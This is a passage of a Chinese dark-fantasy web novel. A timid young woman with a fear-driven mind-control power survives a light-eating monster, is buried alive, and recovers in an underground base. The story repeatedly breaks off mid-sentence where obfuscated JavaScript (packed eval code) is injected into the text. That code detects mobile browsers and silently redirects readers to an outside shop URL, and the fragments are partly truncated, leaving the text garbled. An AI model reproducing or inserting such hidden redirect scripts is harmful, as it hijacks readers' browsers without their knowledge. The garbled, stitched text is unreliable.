我就图它还有一丝可能开机?图那个找兼职的应用能帮我在这个末世里再找几份打工? 明明活得这么痛苦,这么无望,我这样难堪挣扎着也偏想活下去吗? 是的,我想。 我恐惧和抗拒着眼前的黑暗,黑暗中的吞光者。我不理解那些完成分组的人类,他们哪来的勇气敢走入黑暗。 因为分组结果给了他们一丁点微薄的希望吗? 我敬佩他们敢面对自己的命运。 我在后悔中熟练地反思,是我的错吗? 为何我就不敢起身前往我被分配到的那个洞口?一定是因为我自己的懦弱。 我骨子里就不如他们,我才活该被分配到与众不同的结果。 母亲和老师们反复地教诲过我该怎样找到问题的症结根源了。坏事找上我一定就是因为我。 因为我是我。 我的灵魂又稳稳地住在我的身体里了,比手机握在手里还要稳当。 我庆幸我还活着,庆幸我还是我。 我盯着黑暗中的吞光者,直到我的身体慢慢习惯那种恐惧的压力,直到灌铅般的身体慢慢恢复行动能力。 外界的骚乱帮了我一把。 持光者主持的分组突然陷入一片混乱。我猛然转头看向那边。 “——住手!”“不!”“停下!” 在众人的叫喊阻止中,持光者奋力用光源砸向了正在当众展示能力者的脑袋。 那颗光源果然很烫。展示者的脖子被烫得通红。 展示者惨叫着收回异能,闪耀的光芒从他的掌心消逝。 他的异能居然是发光。 如果此间没有厌光的怪物,他的能力在这黑暗的洞窟中该多受队友欢迎啊。 可惜此间埋伏着会袭击光亮的怪物,他的能力是多么令人忌惮啊。 持光者愤怒地冲那个差点造成事故的展示者喊,“第一个洞口!” 那个展示者突然向我看了过来。 他也有一张普普通通的脸。 我经常分不清很多人的脸,习惯用特征作为人物的代号。 展示者向我走来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284862|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我以为他想要和我结伴。毕竟我们被分往了同一条道路。再困难的去处,有同伴或许就能走下去。 就像当初我和舍友合租地下室。 我站起身想和他商量对策。 展示者突然扑身过来,一把将我用力推向黑暗。 他面色狰狞地喊,“你怎么还赖着不走!?” 我的体重太轻了。 他轻松地将我撞入了黑暗。我看见他贴向墙角想要逃跑。而我的身上开始发光。 他的异能不只是让自己的身体发光,而是能有选择地让碰触到的物体发光。 比如说我。 我像颗信号弹一样,像黑暗中的大颗钻石,砸向了那个黑洞,那个吞光者。 恐惧淹没了我的内心。 我以为我立即就要暴毙。但我没有。 黑洞延展开来,它吞噬黑暗的特性甚至吃掉了我身遭外围的光芒。 我看不清吞光者具体的形态,但下一瞬,愤怒的黑潮退去,我的眼前就只剩下尸体。 还未参与分组的人都死掉了,他们还没来得及展现自身的异能和价值,横横竖竖地倒了一地。 世界对后来者就是这么不公平。 作为伥鬼主持分组的持光者这回也死了,他没有第二次跪拜求饶的机会。顽强的防御能力也没救得了他。 他手中的那颗光源掉在地上,滚了两下,被黑洞吞噬,咕噜一下吞掉了。 那种光源竟然是吞光者的食物。 这令正在发光的我浑身冰冷。 造成混乱的那个发光异能者也死掉了。 我没能提防到他的行动,不是因为在同个空间里待久了就误以为大家是同伴,而是因为他的方案太蠢了,蠢到超出我想象的下限。 这种做法没有任何成功逃命的可能。我就算到最山穷水尽的时候都不会这么做,因为那是在自杀。 他的形骸已被碾碎,成为不可能再发光的一滩泥。 若他是在以逃跑的方式来自杀,他成功得很彻底。 并且还拉上了所有人陪葬。 除了我。 因为发光异能者的死亡,我身上的光线也在逐渐黯淡消逝。 我有点担心吞光者留下我,是不是能发光的我也被它当做食物。 可直到光线彻底消失,这件事也没有发生。 我在黑暗中脱力地跪倒在地。 有东西似乎轻轻点了点我的肩。那只可能是这里除我以外的另一种生物。 吞光者。 为什么? 我自问。为什么我能够下来。 仿佛某种天启,我突然意识到了自己的能力。 它就像我的手和脚,就像我的呼吸,原来它一直都在。 那是一种心灵控制术。 我的胆小害怕就是这份能力的燃料。 我能扭曲其他对象的心灵,让其对我产生兴趣。我对其产生的恐惧,会被平等地转化为其对我的……偏爱。 太好了,我最擅长的事情就是害怕了。 我在害怕中颤抖着掉下眼泪,又如蒙大赦般地欣喜。 我害怕吞光者,所以它不会再厌憎我了。 5. 怪物 我沿着前面人走过的路,在湿滑的岩壁上摸到了洞口。 第一个洞口。那是持光者曾分配给我的去路。 我想到,这个洞的地理位置是最容易留人的。 大概会有明明被安排到更好去处的人,在吞光者的威吓下慌不择路,胡乱遁入这个首先摸到的洞口。 像那样被命运吓破胆的人,活该和无能力者、发光者被凑到同一个窝。 这算是分组后的第二重筛选吗? 持光者已经死了。 就算他还活着,以他那种工作态度,大概也懒得回答我的问题。 如果第一个洞口大概率是死路,后面的洞口我又该怎么选呢? 我往前摸到了第二个、第三个……七八个洞口。再往前大概还有更多洞口。 这超出了持光者报出的数目,是我恐惧的未知数。 我现在可以随便选择去哪了。可是,那些洞口后的世界都适合我吗?持光者的分配究竟是按照什么规则? 至少持光者的分组看起来不是为了让分组者去死,但自行选择的结果就未必了。 强行去往不需要我这种能力的地方,会否只是自取其辱?会否在路途中就因为缺乏必备的能力,而丧命身亡? 没人会给我建议和引导,因为所有人都死了。 留在我身遭的活物,大概就只有那个怪物,吞光者。 当光源彻底熄灭后,那黑洞般深邃的怪物形体,终于也同黑暗融为一体了。 我看不到它,也听不到它。 最初时它似乎触碰过我的肩膀,而后就再未有所动作。 我在黑暗中向它喊话提问,没有得到回应。 我探查那些洞口时,它也没有出来阻止。 我多希望它已经默默地离开此地,但恐惧依旧紧紧地贴附在我的皮肤上。 它或许只是在看。 就像它看着接受分组的人类走向各自的命运,漠不关心自身仅是存在就给那些人类带来了多大的压力。 我的能力会让那个怪物……姑且这么说,爱我。 它没有杀掉我,除此以外,它的爱还会带来怎样的后果? 其一,我不知道我无意识外放的能力,能对他人产生多大的影响。 我还没有机会测试这个心灵控制术的威能,唯一中招者的表现并不直观。 中招者还是个怪物。 怪物的心志或许与人类截然不同。这样人性化的能力,能否撼动怪物的思维,会否因怪物的怪异构造而扭曲? 其二,我不了解爱。 听闻爱有温暖幸福的一面,我甚少体验。 在与人类打交道的过程中,我感受得更多的,是打骂苛责、强求关注的那一面。 我更不知道怪物的爱是怎样的。 如果它还在这里,当我跳入洞口逃走时,它会以怪物的心胸,大度地放我自由吗? 毕竟怪物的想法和……爱,人类无法揣度。 我继续在黑暗中摸索洞口,一个接一个出现的洞口,就好像层出不穷的人生选择。 没有任何情报告诉我哪个更好,哪个更糟糕。 我累了,于是停下来休息。 我开始思考,既然吞光者“爱”我,如果它还在这里,我出言向它索要食物,能否得到满足。 我记得持光者向吞光者求饶时,没有使用语言。吞光者听得懂人类的语言吗? 强权者没有必要屈尊学习弱者的语言。这就解释了为何我刚刚试图向它问话时它没有理会。 它可能只觉得这只奇特的动物在它跟前手舞足蹈地发出无意义的怪声。 如果我向它比划进食的姿态呢?吞光者能够理解人类的生理需求吗?能理解我是在索取食物吗? ——它会不会误理解为,我要将自己捐赠为它的食物? 我不会错过这个恐怖的可能性:怪物表达爱的方式,或许包括进食对方。 我做事总是先想最糟糕的后果,并往往因此停步不前。 就在我纠结犹豫的时候,一股巨力将我从背后推倒。 我重重摔在地上,勉强护住头脸,整个人都懵了好一会儿,才突然意识到,是吞光者! 它果然还在! 我如临大敌,立即爬起身来。 可还没来得及站稳,我再一次被推倒了。这次的力道更柔些,但依旧不容我反抗。 我尽力卸掉了对身体的冲击,可手肘和膝盖还是传来阵阵疼痛。 我咬咬牙,在那压迫的力道离开后,再次起身。 我摔倒了好多次。 吞光者并不急着将我摁倒在原地。有时候它会容许我走出两步,再慢条斯理地将我弹倒。 当我艰难翻身的时候,它甚至还会扶我一把。 我慢慢回过神来,它不是在限制我的行动。它似乎仅仅是在,观赏我摔倒后再爬起来的模样。 我为这个念头感到毛骨悚然。 我不再爬起来。如果它以折磨我为乐,我得节省力气,才能熬更长久。 决定躺平的瞬间,无边无际的疲累就淹没了我。 我早前经历了长途游泳,黑暗中的搜寻,大起大落的情绪,目睹他人死亡的刺激,还穿着那身不曾换过的湿衣服。 我的体力早已耗尽,饥饿难耐,体温有发烧的趋势。 我有太多倒地不起的理由。 不如说,我能撑到现在才是个奇迹。 我像行将就木的泥人,等待着吞光者折磨人的手段。 短暂的平静后,我感觉到有什么事物在我身侧涌动。我无法理解吞光者的肢体形态,但我能感受到,那堆附肢在试图扶我起来。 我不再像先前那样借力站起,摆烂摆得彻底。 于是更多的附肢涌来,将我抬起。它们强行将我的身体腿脚摆回了站立的姿势。 我闭上眼睛。当它们离开的时候,我就顺势往下倒去。 如果非得重复摔倒的过程,我选择更省力安全的姿势。 这次没有摔倒。 吞光者在半途接住了我。我不明白它为何改变心意。 它像操纵傀儡般强迫我像先前那般站直,不断地撤走附肢,又每次都在我要倒下前将我救起。 仿佛是宅男在不死心地测试,看坏掉的手办是否还能重新立稳。不,这样人性化的比喻或许不适用于怪物。 不管怪物在做什么,我都任由它去。 最后一次,它托着我站立了许久,没有再撤走,反而轻轻地摇了摇我。 我提醒自己不要再用人性的思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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空气撞得我脸疼,我头晕想吐却腹内空空。 我不知道吞光者将带我去哪里。我希望那里有黑暗以外的其他东西。 我迷蒙着眼睛,手指却不敢停下,直到通道变得颠簸,手掌无力时也会随着身体摆动。 我在途中睡了一觉,也可以说是昏迷了一段时间。 我醒来的时候身体酸痛,饥肠辘辘。 我躺在地上,四周依旧是令人失望的黑暗。 我用嘶哑的嗓子发出声音,有什么东西轻轻碰触我的额头。 我现在很熟悉那种触感是谁的附肢了。 吞光者。 明明坚硬粗糙,却又灵活无比。 我抓住那截附肢,借力坐起,差不多算是将半个身体都挂在附肢上。 那截附肢就牢固地悬在那儿让我依靠,像是铁铸的栏杆。 我思考现在置身何处。 按常理来推断,我被带回了吞光者的巢穴。 我算是被驯养了吗?那么…… 我擅长忍受屈辱,在第一时间去摸索那个应该属于我的食盆和水盆。 我没有找到。 我开始思考这种怪物对人类生理的认识究竟有多贫瘠。 “我饿了。”我绝望地说。 吞光者无聊地盘弄着我的头发。 6. 爱与活埋 我好饿。我很累。我四肢冰冷。我浑身都痛。我头晕。 在黑暗中了解环境需要些技巧。我只能用酸疼的手指和手掌一点点摸索着吞光者的居室。 灰姑娘捡豆子时也这么饿吗? 我不确定吞光者是否独居。 它的附肢铺了一地。我至今想象不出它完整的生理形态。就算有类似的怪物在这里群聚,我可能也摸不出数目的差别。 如果它不动,我甚至摸不出它和环境的差异。 我艰难地爬过这蔓生的丛林。 那些附肢间或动一下,想要将我拢在……非得形容的话,“掌中”。 力量的差距是绝对的。吞光者可能只是随意地摆放着肢体,我却无法撼动它的“手指”分毫。 当它变换肢体阻挠我前进时,我就只能停下来等待。 待它也平静时,再摸索到缝隙后钻出。 吞光者时不时变换下姿势,我猜它身体盘驻的面积并不大,可我晕头转向,穿越这牢笼就像穿越一座迷宫。 这种“敌动我不动,敌不动我动”的游戏反复进行了很多次,我才终于从它的肢体的缝隙间挤出来了。 它放过了我。 我没有意识到其危险。 接下来,我在四周摸到的东西都很难形容。 我连怪物的形体都无法想象,那肯定也想象不出它的居室里究竟需要怎样奇形异状的家具,对吧? 我摸到了林林总总的表面。 圆的钝的。锋利带刺的。毛茸茸的。坚硬如铁的。 我衷心希望那些不要是什么其他蛰伏的怪物物种。好在它们都不会动,死气沉沉如同物件。 我对它们倾注了足够的恐惧,确保假如它们活过来,我的能力也让它们对我有着保底的爱意,不会立刻本能地刺我一下或咬我一口。 我自己倒是在咬它们。 我用上了口与手作为工具,寄希望于这杂物里能有什么可作为我的食物。 这里面或许有吞光者的食物。 就算它们是吞光者的家具……如果桌子、鞋带和仓鼠能吃的话,我也会努力吃下去的。 吞光者该承担这样的后果。 吞光者的一条附肢蜿蜒在我身遭,我在寻物中时不时会触碰到它。 它似乎只是在看守,并没有限制我四处摸索。 我听到吞光者那边传来工事的声响。 土堆倾覆,或是在翻找泥沙的声音。 我按下心中的不安,希望它是暂时忘记了对我的兴趣,沉浸在它自己的随便什么都好的事业中。 我找到的大多数玩意其实是咬不动的。 圆球舔起来有泥腥味。绳状物能咬出几滴让人作呕的酸浆。胶块尝起来极苦,使舌头发麻。 这些最好都不要吃——历经百万年进化才刻到基因里的生物本能,排除掉了我找到的所有错误答案。 没有食物。 那趁手的工具呢?适合藏身睡眠的角落呢? 我仍在继续摸索。 吞光者不再囚禁我,我被那安全的假象麻痹了。 有一阵子,我几乎以为吞光者将我放下了。也许怪物的爱只是短暂的兴趣,很快我就能享受自由。 这罕见的乐观被现实狠狠教训了。 我刚在杂物堆中发现了有锯齿的硬杆,想到或许可拿来做武器或工具。我正试图将其从杂物堆中拽出来时,吞光者的那条附肢突然卷起我的腰。我来不及惊叫,就腾空而起,被拖回到吞光者的身侧,然后坠落。 黑暗在哪里都是黑暗。我被丢入了什么地方,胡乱扑腾的四肢还没有撑开侦测范围,身体就顺着矮坡滑了下去。 重物挪动的声音在头顶响起,我几乎立刻就意识到了自身的处境。 我在被吞光者活埋。 不要! 我喊叫时呛了一嘴的沙尘,不,那是石粉。 吞光者特地凿碎硬石来活埋我,为什么?怪物特殊的生活习性?表达爱的仪式?保存食物的手段? 我突然想起小学时候,班上的男同学捉了天牛之类的甲虫带来班上玩耍。他们将虫子擒在手中展示,故意丢到女同学的衣领上,放手看甲虫歪歪斜斜地飞过课室。 他们爱极了自己的虫,而当上课铃响的时候,或是他们想要去做其他游戏的时候,他们就会将虫子丢到铅笔盒或空水壶中。 有心看管时,可欣赏其展翅。 分心他用时,则囚之以笼。 虫子在课室里横冲直闯时,会沾沾自喜于那虚假的自由吗? 我错了。如果刚刚我没有贸然脱离吞光者的掌控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284864|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以它贫瘠的经验,它或许不会产生用外物来囚禁我的念头。 我该等到它睡着的。 可我没有这种未卜先知的能力。 谁知道怪物的警惕心和容忍度该如何测量?落子无悔。 黑暗中,我举起双臂摸索穹顶。挡在头顶的硬物纹丝不动。 这个铅笔盒被吞光者彻底关上了。 我思考那些甲虫的处境。如果我撕心裂肺的哭叫,会被怪物当成蟋蟀的鸣叫来欣赏吗? 不,我得精打细算地使用时间和体力。语言过于奢侈,就连叫喊和捶土也是奢侈的。怪物不会理解这种呼救。 正如它不理解人类会死于饥饿和窒息。 要动用能力吗?用恐惧换取“爱”? 可我怀疑那只会让这囚禁的份量加码。 我蹲在地上,摸到了被吞光者丢进地洞时带过来的工具。 被甩过来的途中,锯齿杆被我从杂物堆中拽了出来。那锋利的细齿也同时割伤了我的虎口。我现在才觉察到手掌已经鲜血淋漓。 我撕下衣摆,先扎紧伤口止血,之后一圈圈缠绕整个手掌,再握住那武器。 我用锯齿杆较为细薄的那侧边缘,去撬头顶盖板的缝隙,去挖掘松动的石块。细碎的粉屑落了我满头满脸。 我闭上眼睛。 眼睛在这黑暗中原本就毫无用处。 我依旧头晕,肚饿,浑身疼痛又发寒,举起的手臂都酸软得不像话。 什么都看不见的好处,就是不用嘲笑在意自己的狼狈。 我的工程似乎一直没有进展,我原本就看不清工程进度。我不知道吞光者有没有在外侧继续加固封土,不知道封闭空间内的氧气还够我支撑多久。不知道我挖下来的碎屑会不会迟早将我自己活埋。 不知道这努力是否徒劳,又或者下一秒就能挖出成果。 不知道这种……语言,是否足够让吞光者看懂它所爱者的求生。 因为看不见实物,所以一切都可以意象化。 所以在和我战斗的不是具体的土墙。我是在和自己的痛苦决斗。 虚弱中我的思维也逐渐步入混沌。我大概要死在这里了。可我一向都是这样过来的。就算死在这里,我也绝对不会放弃。 直到失去意识我都没有放弃。 7. 间章 两个梦 中途我曾短暂地醒来过。 入眼是白茫茫的光,身下竟然是床铺。有人探过身来看我,她的脸庞在光晕下很模糊。 我隐约听到她在问我什么,我听不清,想不明白,喉咙也干得无法发声。 她伸手探我的额温,是护士吧?我又睡过去了,隐约感受到那只手掌非常粗糙。 我在迷迷糊糊中感到害怕,我当然害怕这场景。 明明大多数毛病,几颗药、碘酒、硬糖,就能治好。 住院实在是太花钱了。 那粗糙的手握住我的手。 哦,我害怕了,所以护士会爱我。我稍有复苏的逻辑思维先想到这个,然后才意识到,天亮了,我似乎安全了。 这是有光明的世界。 所以黑暗世界只是我的梦吗?我一定是太累了,生病了才会做这许许多多的梦。 我隐隐约约记得逃难、冰湖、分组、怪物……那些噩梦的影子在我脑子里晃动。太可笑了,我怎么还有功夫幻想这些有的没的,现实已经够糟心了。 我还得赶紧醒来去打工呢。 我的手机好像还在手边…… 我再度坠入梦中。但白茫茫的光还残留在我的意识里。 哦,还有手机。我拿着手机在找兼职的单,舍友突然开门走进来。 我下意识将手机塞到被子底下。我总有些不情愿在舍友的面前使用那部手机。 你不是去男友家了吗?我边问边转身,随后看到了舍友额角的淤青。他又打你了? 喝了点酒。舍友摇了摇头说。她将包丢到床脚,直接躺上床,又说,还是回这边好。 明明和我合租了这里,她却更常住在外头,很少回来。 我去拿碘酒。我说。 又没破皮,涂什么碘酒,搞点红花油吧。舍友说着,看见我手上那只剩个底的碘酒,又说,算了,拿毛巾我敷敷。 我将热得快插到暖水瓶里,先用自来水冲了毛巾来给她冷敷。 她疼得龇牙咧嘴,又嗬嗬嗬地笑,等他酒醒了看到铁定后悔。 后悔又有什么用。我说。 小傻瓜,后悔了他才会更爱我啊。舍友用小臂盖住眼睛,笑着说——他不爱我,不就白费了吗?那我还怎么报仇。 我背对着她躺下。狭小的地下室里只能放一张床,我们穷习惯了,什么都可以挤。 她的身体冰凉。 爱又有什么用呢?我想。 你不想被爱么,小姑娘? 她仿佛听见了我所想,笑着翻身来揽住我。 我没有回答。 我的舍友很肤浅,我一向看得透她。我知道她为什么想要爱。 这是件很功利的事情。因为我们没有钱,没有权利,没有名声,甚至没有力气,没有任何用于交换利益的资本。 唯有爱似乎可以不计较这些。爱似乎又可以换到这些。 我懂得我的室友,正如我懂得自己。 我当然也想要被爱啊。 当父亲冷笑着将碗重重掼在桌上的时候。当那个老师在众目睽睽下将我训得百口莫辩的时候。 每到那种时候,我都无比现实地知道,我在力量和道义上赢不过他们。 我又多么不现实地渴望着,假如他们爱我,或许就不会伤害我了。 爱是什么?爱是弱小者唯一有资格拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284865|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的武器。 我想,太好了,现在的我有超能力了。我不需要再自我欺骗,将恐惧的压力转换为对施暴者的楚楚可怜的爱。 我不用再爱他们,就可以换到他们的爱了。 可为什么我还是这么虚弱呢?我浑身疼痛,我快死了。 在我烦恼间,舍友握住了我的手。 其实我们的关系并不算亲密。我们都有点讨厌对方,而且我们对这点都心知肚明。但我们从来都没有选择同伴的自由。 能有人结伴就值得感恩。 就像现在,虽然她的手冰冷,我仍感激这点安慰。 然后,因为舍友,我想起来了,我从来不敢走她那条道路。 就算有人在伤害之余给我一丝同情怜悯的眼神,就算有人叹着气弯腰对我伸手,我在幻想中抱住那腿离开泥潭青云直上,我在现实中转身逃走。 我从来不敢指望。 我怕对那个绝地反击最后手段的幻想也被拆穿。 就算被爱,或许也毫无用处。 爱里可能没有尊重,也没有安全。 我毛骨悚然地醒来,看到了白茫茫的灯光。 我意识到那种光源很眼熟,是持光者曾手举的光球,正悬在某个支架上。 右手的手掌传来难熬的痛楚,我的左手被握在别人的手中。 不是舍友的手。对医药费的恐惧再次闪过我的心头。 那只手的主人,坐直身体来看我,她面容陌生,又对我说了些什么,声音恍惚。 当她将同一句话重复到第三次时,我终于听清了。 她问,要吃点什么吗? 我的眼泪突然掉了下来。 8. 我的名字 我有很多缺点。 一是脸盲。二是记不住人名。三是听不懂人话。 我很难在具体的语句上集中注意力。 毕竟我自小就时常接受动辄数小时的谩骂。过耳不入已经几乎成为本能。我自顾自地提炼重点,将所有复杂的长段落换成我能够理解的不至于损伤心灵的语句,比如说:交钱、去做饭、从对方眼前消失。 我知道这是个缺点。我曾做过写稿的兼职,收到许多差评。我笔下的角色无法说出超过五十字的话语,不会寒暄不会客套。所有角色必然用同一套表达方式——说话只讲重点。 也就是说,我很不熟练那些核心诉求之外的,复杂的人情表达。 以至于,我和村长对话很久后,她突然看着我叹气。 村长不是村长,当我在这个陌生的白房间醒来后,守在我旁边的护理人员立刻去叫了此地的负责人来。负责人出场时介绍过自己的名字,但我没能记住。 我过去也做过游戏代练,手动刷过无数开局账号。负责人就很像是那种游戏开场时会来介绍游戏背景和新人任务的村长。我习惯了面无表情地连续按键跳过这种对话,一时没有意识到自己需要应答。 “不用这样戒备,”村长叹完气,直接问,“告诉我,你经历了什么?” 她看着我的眼睛。每到这种时候,我都会重新认知到,我很少有问话的权力,我时常没有拒绝回答的权力。 我用最简洁的语言,告诉她我是如何从黑湖苏醒,如何参加分组仪式,如何见到那场怪物屠杀了所有现场人员的意外,以及我差点死去。 然后我在这里醒来。 “就这样?”村长继续追问,她想知道为何我能从怪物手中活下来,又是如何来到这里。 “我不知道。” 与外人对我的刻板印象不同,其实我很会撒谎。不会撒谎的人是无法在我待过的那种生存环境中活下来的。 我有两个诀窍:一是在没有必要的情况下绝不撒谎;二是决定撒任何谎的时候都做好绝对不改口的觉悟,哪怕被人按着额头撞到墙角上去,哪怕别人将证据丢到罚跪的搓衣板前,都绝对不能改口认错。 重点不在于要怎么让别人相信——那太难了,而在于要清晰表达出我这里只有这一个说法的意志。 村长没有施与任何体罚或威逼,就接受了这份意志。 她说我是在基地内某处被人发现的,基地为我付出了珍贵的物资、食物和人手看护。 虽然我并非通过试炼来到基地,但这次招新试炼被怪物中断,新来的人手不足,基地愿意暂时招募我。 我对工作求之不得。 填写登记表的时候,我在姓名栏习惯地先起了一横,然后想到人类世界的过去已经离我远去。 在这里打工不需要扣押身份证和学生证,证件上的那个姓名可以与我无关。 我写下我想到的第一个名字。 “你就叫子涵?”村长在旁边问。 “不行吗?”我做好了涂改的准备,反正事情总是不会顺利。 “可以,”村长说,“以前很多事现在都不算数了,你不想要姓也没关系。 “但我记得这名字好像是个梗吧?你不用这么实诚,不想被嘲笑的话可以换个名字。” 这个名字有什么不好吗?我一直都希望自己被人叫做子涵。就算是被蚊子咬了这种小事都会被留意到的子涵。会因为父母的过度关注惹来外人嘲笑的子涵。 多让人羡慕啊。 我在能力那栏写了无。我不能让人知道我的能力,我也没法伪造出我不拥有的能力。 这里缺人,我赌废物也有能被榨取的剩余价值。 “没有能力?”村长说,“很罕见啊。” 我摆出了撒谎专用表情。 我是人类,我知道人类忌讳惧怕什么。就算被当做是无能的弱者,也好过被发现是能左右他人爱意的女巫。 “你可能觉醒得慢点?我听说这种的能力一般都会很特殊。”村长自言自语,“那你现在还不能下矿,啧,按常理你这种是要被分去一号基地的。你先去盘点物资吧。” 我立刻说,“我什么都能做。” “……你先养好伤。” 我的伤并不重。虽然我当时快死了,但主要是出于缺氧、疲累和饥饿。那种近乎致死的折磨没有给我留下不可逆的伤情。 留下的是全身各处大面积的淤青、擦伤和软组织挫伤。 没别的,主要是痛。连卧床都无法缓解,好似在身体内部生根发芽的疼痛。 这座基地的人宽容地让我在床上躺了一周。村长只来过最初那一次。那位有着粗糙手掌的护理人员也不是一直都在,她有很多事情要忙,等我醒来后就让我尽量自理。 据他们说我的伤口不需要消毒,除了手掌的割伤外也不要浪费纱布来包扎。 护理人员剪掉了我的衣服,让我躺在一块塑胶布上。我醒过来前,她处理伤口的工作就是时常帮我翻身,让还未愈合的创口不要和塑料布粘连。 这大概是这里的常规操作。那块塑胶布很旧了,看得出被清洗过无数次但依旧发黄磨白的痕迹。很多受伤的人曾躺过这里。 塑胶布不透气,容易闷汗,所以要更经常翻身,每次都要仔细地将皮肤一点点慢慢地从塑胶布上撕下来。翻身也会痛,但这种能自主决定时机的疼痛有时会让我觉得爽快。 护理人员没有给我衣服,说免得让我多遭换衣服的罪。 这间屋子不会有别人进来。她离开的时候会帮我锁门,这里也没有窗。 我可以接受,人穷途时就得忍受像兽一样的生活。好在这里并不冷。 食物是一种黑色的汤水,很稀薄,有股石灰味,但意外的顶饿。 护理人员说这里的人都吃这个,没别的食物。 我不挑食。 她收碗时我问她,去哪里能找到这种食物。 她说这是矿里挖出来的。 又说别在意那种石灰味,就当是吃碳酸钙。这里没太阳容易缺钙。 她头发有些花白,脸和体态看着像四五十岁,很操劳的样子,会让我想到别人的母亲。我没有问她是否有孩子。 护理人员每过很久来一次,给我添补食水,倒换秽物,离开时会锁门。 屋子没窗,照明就全靠那种球状的光源。 护理人员管叫它光珠子,说也是矿里挖出来的,让我睡觉前将它装到旁边的黑皮袋里,屋子就黑了。 它太亮了,不能直视,我想确认光晕中它的外形。 它摸起来烫手,很光滑。我反复拿起它又放下,借冰凉的墙壁冷却我的手,避免被它烫伤,几次后才摸完它的表面。 它圆得不规则,若是矿产就能解释得通。通体坚硬,也没有暗藏的缝隙。 亮度和温度也一直很稳定,没有突然闪烁或燃烧的迹象。 我想起吞光者曾吞噬过光珠子,也下狠心咬了它一口。 我没有怪物那般能力。我的牙齿咬不动这种硬物,唇舌也忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284866|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这烫伤。想来肠胃也是同样。 这珠子不是什么入口即化的仙丹。 护理人员走后,我忍痛下床,将那个黑皮袋翻转过来套住左手,握着光珠子在屋子里细细走了一圈。 房屋的墙面是水泥,活做得很糙,表皮布满了裂纹。 没有窗,取而代之的是紧贴地面的通风孔。 我将光珠子收入黑皮袋,坐在墙角等待很久,直到眼睛彻底适应黑暗。我摸索着墙壁,趴在地上将眼睛凑近通风孔。 外面没有透进来半丝光。 就像瞎子的世界一样。 护理人员说过,这里没有太阳。 所以这里大概也没有日夜。 经历那么多劫难后,我的手机竟然还在身边。但它已无法开机,完全失去了功能。 这间屋子也没有任何计时道具。我靠对进食和睡眠的需求来估算时间,推算护理人员大概是每隔一天来一次。 我得以保留的另一件物品是锯齿杆。 这件沾满鲜血的战利品被我从吞光者的巢穴带了出来,我在昏迷中也没有松手。村长没能问出它的来历,但是允许我保留它。 有了光珠子后,我才得以看清当初在黑暗中胡乱抓住的这件工具的真貌。毫无疑问,这不是我原本以为的由人类锻造的金属杆,而是某种生物制品。 或者说,是生物的外壳碎片。 它形状细直,边缘的细齿让我想起了蟹鳌。这会是吞光者的蜕皮吗?虽然也很坚硬,但它的手感与吞光者的附肢相去甚远。 这新发现给我想象中的吞光者真貌增添了更加诡谲的色彩。 又或者,这是吞光者从别处掠夺而来的受害者残骸? 更可怕了。那说明隐藏在这黑暗世界中的怪物,远不止吞光者一种。 我将衣服的碎片缠在手上作为护具,打算磨掉杆尾的一部分细齿,将其改造为一件更趁手的武器。 这是水磨活儿,只靠左手做着,几天下来都没什么成效。 墙壁和地板都被它磨出了凹痕,细齿的棱角却只稍圆了些许。 光珠子一直持续稳定地输出着光亮,用了那么多天,它的大小和亮度似乎都没有发生明显的消耗或变化。 等护理人员来过四五次,我的伤势就好很多了。 或许人类从黑湖中出来后,不仅能觉醒能力,连体质都会变好。 那么大面积的伤口,未经消毒也没有感染发炎。 伤口愈合得也比以前快。或许可以认为,那种黑水要比我以前的员工餐营养丰富? 软组织的疼痛在逐渐褪去。外皮的伤口都已经结痂。 护理人员拆除并回收了我手掌上的纱布,提醒我避免用力让伤口裂开。 她告诉我基地近日有些损失,很缺人。 下次再来时她就给我带了衣服。 她高兴地对我说她帮我抢到了好衣服。我信。那是一套劳保服。 